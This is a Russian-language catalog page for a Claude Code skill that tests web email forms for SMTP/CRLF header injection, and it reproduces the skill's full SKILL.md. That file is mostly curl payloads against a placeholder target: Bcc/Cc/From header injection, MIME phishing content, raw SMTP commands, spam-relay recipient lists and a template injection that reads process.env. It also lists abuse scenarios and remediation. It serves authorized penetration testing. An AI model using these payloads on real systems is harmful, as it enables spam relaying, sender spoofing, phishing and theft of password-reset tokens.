К основному содержанию
скилл CX Codex

testing-for-email-header-injection — скилл для Claude Code

Скилл testing-for-email-header-injection для Claude Code проверяет веб-формы на инъекции SMTP-заголовков и включается во время пентеста функций, отправляющих пользовательский ввод по почте.

Apache-2.0 270 установок ★ 36 511 обновлён 2026-08-31

Установить в Claude Code · Через Skills CLI (Vercel) Все способы и платформы ↓
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-for-email-header-injection -a claude-code
Открыть на GitHub

Что делает testing-for-email-header-injection

Помогает найти, может ли злоумышленник внедрить CRLF-последовательности (\r\n) в поля формы — контакты, тему письма, имя отправителя — и перенаправить письмо на другой адрес, подделать заголовки From или Reply-To, либо превратить приложение в спам-релей.

Включает готовые примеры тестирования с помощью Burp Suite, swaks и curl: как перехватить запрос, где искать точки инъекции, какие варианты кодирования (URL, двойное, LF вместо CRLF) пробовать, как проверить, что письмо действительно дошло на адрес атакующего. Охватывает JSON API, SMTP-команды и MIME-граница инъекции.

Какие задачи решает

  • найти контакт-форму или функцию отправки письма, уязвимую к CRLF-инъекции
  • проверить, можно ли подделать заголовки Cc, Bcc, From и Reply-To
  • проверить, работает ли приложение как открытый спам-релей для рассылки на множество адресов
  • тестировать JSON API и SMTP-команды на инъекцию через параметры почты
  • документировать цепочку инъекции: точку входа, кодировку и влияние на безопасность

Примеры запросов агенту

  • Покажи, как протестировать контакт-форму на CRLF-инъекцию с помощью Burp Suite
  • Проверь API /api/send-email на инъекцию BCC-заголовка через JSON
  • Сгенерируй примеры curl-запросов с кодированием %0A и %0D%0A для разных полей формы

Как установить testing-for-email-header-injection

1Через Skills CLI (Vercel)

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-for-email-header-injection -a claude-code

2Вручную: положить файлы

~/.claude/skills/testing-for-email-header-injection/SKILL.md

Папка скилла целиком; для одного проекта — .claude/skills/testing-for-email-header-injection/

По шагам, с командами для каждой платформы: Как установить скилл в Claude Code: пять способов

Вопросы о testing-for-email-header-injection

Как установить testing-for-email-header-injection в Claude Code?

Выполните npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-for-email-header-injection -a claude-code, затем откройте ~/.claude/skills/testing-for-email-header-injection/SKILL.md.

Что делает testing-for-email-header-injection?

Предоставляет методику и примеры для проверки веб-приложений на уязвимости к инъекции SMTP-заголовков через CRLF-последовательности в почтовых формах, включая тесты на спам-релей и подделку отправителя.

На каких платформах работает этот скилл?

Устанавливается на Claude Code, Codex, Cursor, GitHub Copilot, Gemini CLI и OpenCode — во всех используется одна и та же методика тестирования.

Исходный текст

SKILL.md · Apache-2.0
---
name: testing-for-email-header-injection
description: Tests web application email functionality (contact forms, password reset,
  newsletter subscriptions) for CRLF/SMTP header injection using Burp Suite and OWASP ZAP,
  checking whether attackers can inject headers, modify recipients, or abuse forms for
  spam relay. Use when testing any user-input-driven email-sending feature during a
  penetration test.
domain: cybersecurity
subdomain: web-application-security
tags:
- email-injection
- smtp-injection
- crlf-injection
- header-injection
- spam-relay
- contact-form
- email-security
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01
mitre_attack:
- T1190
- T1059.007
- T1505.003
- T1083
- T1055
---

# Testing for Email Header Injection

## When to Use
- When testing contact forms, feedback forms, or "email a friend" functionality
- During assessment of password reset email functionality
- When testing newsletter subscription or notification email systems
- During penetration testing of applications that send emails based on user input
- When auditing email-related API endpoints for header injection

## Prerequisites
- Burp Suite for intercepting and modifying HTTP requests
- Understanding of SMTP protocol and email header structure
- Knowledge of CRLF injection techniques (\r\n sequences)
- Test email accounts for receiving injected emails
- Access to application features that trigger email sending
- SMTP server logs access for monitoring injection attempts

## Workflow

### Step 1 — Identify Email Injection Points
```bash
# Identify form fields that end up in email headers:
# - "From" name or email address fields
# - "To" or "CC" fields in sharing features
# - Subject line inputs
# - Reply-To fields

# Common endpoints:
# POST /contact - Contact forms
# POST /share - Share via email features
# POST /invite - Invitation systems
# POST /api/send-email - Email API endpoints
# POST /forgot-password - Password reset forms

# Test basic functionality first
curl -X POST http://target.com/contact \
  -d "name=Test&[email protected]&subject=Hello&message=Test message"
```

### Step 2 — Test for CRLF Header Injection
```bash
# Inject additional email headers via CRLF in the email field
curl -X POST http://target.com/contact \
  -d "name=Test&[email protected]%0ACc:[email protected]&message=Test"

# Inject BCC header
curl -X POST http://target.com/contact \
  -d "name=Test&[email protected]%0ABcc:[email protected]&message=Test"

# Inject via the name field
curl -X POST http://target.com/contact \
  -d "name=Test%0ACc:[email protected]&[email protected]&message=Test"

# Inject via subject field
curl -X POST http://target.com/contact \
  -d "name=Test&[email protected]&subject=Hello%0ABcc:[email protected]&message=Test"

# Try different CRLF encoding variants
# %0D%0A (CRLF)
curl -X POST http://target.com/contact \
  -d "[email protected]%0D%0ACc:[email protected]"

# %0A (LF only)
curl -X POST http://target.com/contact \
  -d "[email protected]%0ACc:[email protected]"

# %0D (CR only)
curl -X POST http://target.com/contact \
  -d "[email protected]%0DCc:[email protected]"

# Double encoding
curl -X POST http://target.com/contact \
  -d "[email protected]%250ACc:[email protected]"
```

### Step 3 — Inject Custom Email Content
```bash
# Override email body by injecting Content-Type and body
curl -X POST http://target.com/contact \
  -d "[email protected]%0AContent-Type:text/html%0A%0A<h1>Phishing</h1>"

# Inject additional MIME parts
curl -X POST http://target.com/contact \
  -d "[email protected]%0AContent-Type:multipart/mixed;boundary=boundary123%0A--boundary123%0AContent-Type:text/html%0A%0A<script>alert(1)</script>"

# Override From header for email spoofing
curl -X POST http://target.com/contact \
  -d "[email protected]%0AFrom:[email protected]"

# Inject Reply-To for phishing
curl -X POST http://target.com/contact \
  -d "[email protected]%0AReply-To:[email protected]"
```

### Step 4 — Test IMAP/SMTP Injection
```bash
# IMAP command injection via email field
curl -X POST http://target.com/webmail/search \
  -d "query=test%0AEXAMINE INBOX"

# SMTP command injection
curl -X POST http://target.com/api/send \
  -d "[email protected]%0ARCPT TO:[email protected]"

# SMTP VRFY command injection
curl -X POST http://target.com/api/verify \
  -d "[email protected]%0AVRFY admin"

# Test SMTP relay abuse
curl -X POST http://target.com/contact \
  -d "[email protected]%0ATo:[email protected]%0ATo:[email protected]%0ATo:[email protected]"
```

### Step 5 — Test JSON-Based Email APIs
```bash
# JSON API header injection
curl -X POST http://target.com/api/send-email \
  -H "Content-Type: application/json" \
  -d '{"to":"[email protected]\nCc:[email protected]","subject":"Test","body":"Test"}'

# Array injection for multiple recipients
curl -X POST http://target.com/api/send-email \
  -H "Content-Type: application/json" \
  -d '{"to":["[email protected]","[email protected]"],"subject":"Test","body":"Test"}'

# Template injection in email body
curl -X POST http://target.com/api/send-email \
  -H "Content-Type: application/json" \
  -d '{"to":"[email protected]","subject":"Test","body":"{{constructor.constructor(\"return process.env\")()}}"}'
```

### Step 6 — Validate Findings
```bash
# Check if injected CC/BCC emails were received
# Monitor [email protected] inbox for received copies

# Verify header injection via email raw source
# In received email, check "View Original" or "Show Headers"
# Look for injected Cc:, Bcc:, From:, or Reply-To: headers

# Test if the application is usable as a spam relay
# by injecting multiple recipients in BCC

# Document the full injection chain
# 1. Injection point (which field)
# 2. Encoding required (CRLF, URL encoding)
# 3. Impact (spam relay, phishing, data theft)
```

## Key Concepts

| Concept | Description |
|---------|-------------|
| CRLF Injection | Injecting carriage return and line feed characters to create new email headers |
| Header Injection | Adding unauthorized headers (Cc, Bcc, From) to outgoing emails |
| Spam Relay | Abusing email functionality to send spam to arbitrary recipients |
| Email Spoofing | Modifying From or Reply-To headers to impersonate trusted senders |
| MIME Manipulation | Injecting MIME boundaries to override email body content |
| SMTP Command Injection | Injecting raw SMTP commands through unsanitized email parameters |
| Newline Characters | \r\n (CRLF), \n (LF), \r (CR) used to separate email headers |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| Burp Suite | HTTP proxy for modifying email-related form submissions |
| swaks | Swiss Army Knife for SMTP testing and header injection validation |
| OWASP ZAP | Automated scanner with email injection detection |
| mailhog | Local SMTP testing server for capturing injected emails |
| smtp4dev | Development SMTP server for monitoring email injection results |
| Nuclei | Template scanner with email header injection detection templates |

## Common Scenarios

1. **Spam Relay** — Inject BCC headers to relay mass emails through the target's SMTP server, bypassing spam filters that trust the sender domain
2. **Phishing via Contact Form** — Modify From and Reply-To headers to send phishing emails appearing to originate from the target organization
3. **Password Reset Hijack** — Inject CC header in password reset flow to receive a copy of reset tokens sent to the victim
4. **Email Content Override** — Inject MIME Content-Type headers to replace legitimate email body with malicious phishing content
5. **Internal Email Abuse** — Use header injection to send emails to internal addresses not normally accessible through the application

## Output Format

```
## Email Header Injection Report
- **Target**: http://target.com/contact
- **Injection Point**: email field in contact form
- **Encoding Required**: URL-encoded LF (%0A)

### Findings
| # | Field | Payload | Result | Severity |
|---|-------|---------|--------|----------|
| 1 | email | [email protected]%0ACc:[email protected] | CC header injected | High |
| 2 | email | [email protected]%0ABcc:[email protected] | BCC header injected | High |
| 3 | name | Test%0AFrom:[email protected] | From spoofing | Medium |

### Remediation
- Validate email addresses with strict regex rejecting newline characters
- Strip \r, \n, and encoded variants from all email-related input
- Use parameterized email APIs that separate headers from data
- Implement rate limiting on email-sending functionality
```

© mahipal · Apache-2.0 · mukul975/Anthropic-Cybersecurity-Skills

Похожие скиллы

Все скиллы по теме «Безопасность» →
sql-injection-testing zebbern Скилл sql-injection-testing для проверки веб-приложений на SQL-инъекции: находит точки входа, подтверждает уязвимость и показывает, как обойти фильтры. Нужен при пентесте с письменным разрешением. CX Codex +1 605установок html-injection-testing zebbern Скилл html-injection-testing помогает искать HTML-инъекции в веб-приложении и оценивать, как они меняют отображаемую страницу. Используйте его при проверке обработки пользовательского ввода. CX Codex +1 234установок email-testing kindlmann Скилл email-testing для Claude Code проверяет пользовательские сценарии, в которых приложение отправляет письма. Он включается для тестов подтверждения регистрации, сброса пароля, входа по ссылке и OTP-кодов. CX Codex +1 1 300установок http-host-header-attacks yaklang Скилл http-host-header-attacks для Claude Code помогает проверять доверие приложений к заголовку HTTP Host и искать отравление сброса пароля и кеша, SSRF и обход виртуальных хостов. CX Codex +1 4 000установок hunt-host-header Sachin Sharma Скилл hunt-host-header для Claude прогоняет веб-приложение по проверкам инъекции в заголовок Host: отравление сброса пароля вплоть до захвата аккаунта, кэша и OAuth-редиректов. CX Codex +1 ★ 16 193звёзд репо injection-checking yaklang Скилл injection-checking для Claude Code помогает выбрать сценарий тестирования инъекций по тому, куда попадает ввод от атакующего. CX Codex +1 4 100установок

Из того же набора152

Весь набор →
auditing-kubernetes-cluster-rbac Скилл auditing-kubernetes-cluster-rbac для Claude Code проверяет RBAC в Kubernetes, выявляя чрезмерные права, опасные привязки и пути повышения привилегий. Выполняет аудит доступа в кластере. CX Codex +1 273установок exploiting-mass-assignment-in-rest-apis Скилл exploiting-mass-assignment-in-rest-apis помогает находить и эксплуатировать уязвимости mass assignment в REST API. Пригодится при аудите безопасности эндпоинтов на базе популярных ORM. CX Codex +1 271установок exploiting-nosql-injection-vulnerabilities Скилл exploiting-nosql-injection-vulnerabilities помогает проверять NoSQL-инъекции в API и веб-приложениях с MongoDB и похожими базами. Он пригодится при авторизованном тестировании ввода и защиты запросов. CX Codex +1 271установок building-vulnerability-scanning-workflow Скилл building-vulnerability-scanning-workflow для Claude Code автоматизирует поиск, оценку риска и отслеживание уязвимостей через Nessus, Qualys и OpenVAS, связывая результаты с SIEM-алертами SOC-команд. CX Codex +1 271установок exploiting-prototype-pollution-in-javascript Скилл exploiting-prototype-pollution-in-javascript для Claude Code ищет уязвимости prototype pollution в JavaScript и Node.js. Включается при проверке функций слияния объектов и пользовательских ключей. CX Codex +1 267установок exploiting-template-injection-vulnerabilities Скилл exploiting-template-injection-vulnerabilities для Claude Code, который находит и эксплуатирует Server-Side Template Injection в Jinja2, Twig, Freemarker и других шаблонизаторах. CX Codex +1 266установок performing-web-cache-poisoning-attack Скилл performing-web-cache-poisoning-attack проводит агента по проверке веб-кэша на отравление: ищет заголовки и параметры вне ключа кэша, которые всё равно попадают в ответ. CX Codex +1 264установок conducting-cloud-penetration-testing Скилл conducting-cloud-penetration-testing для проведения авторизованного пентеста облачных сред AWS, Azure и GCP. CX Codex +1 263установок

Спонсоры проекта

Компании, которые помогают держать аналитику открытой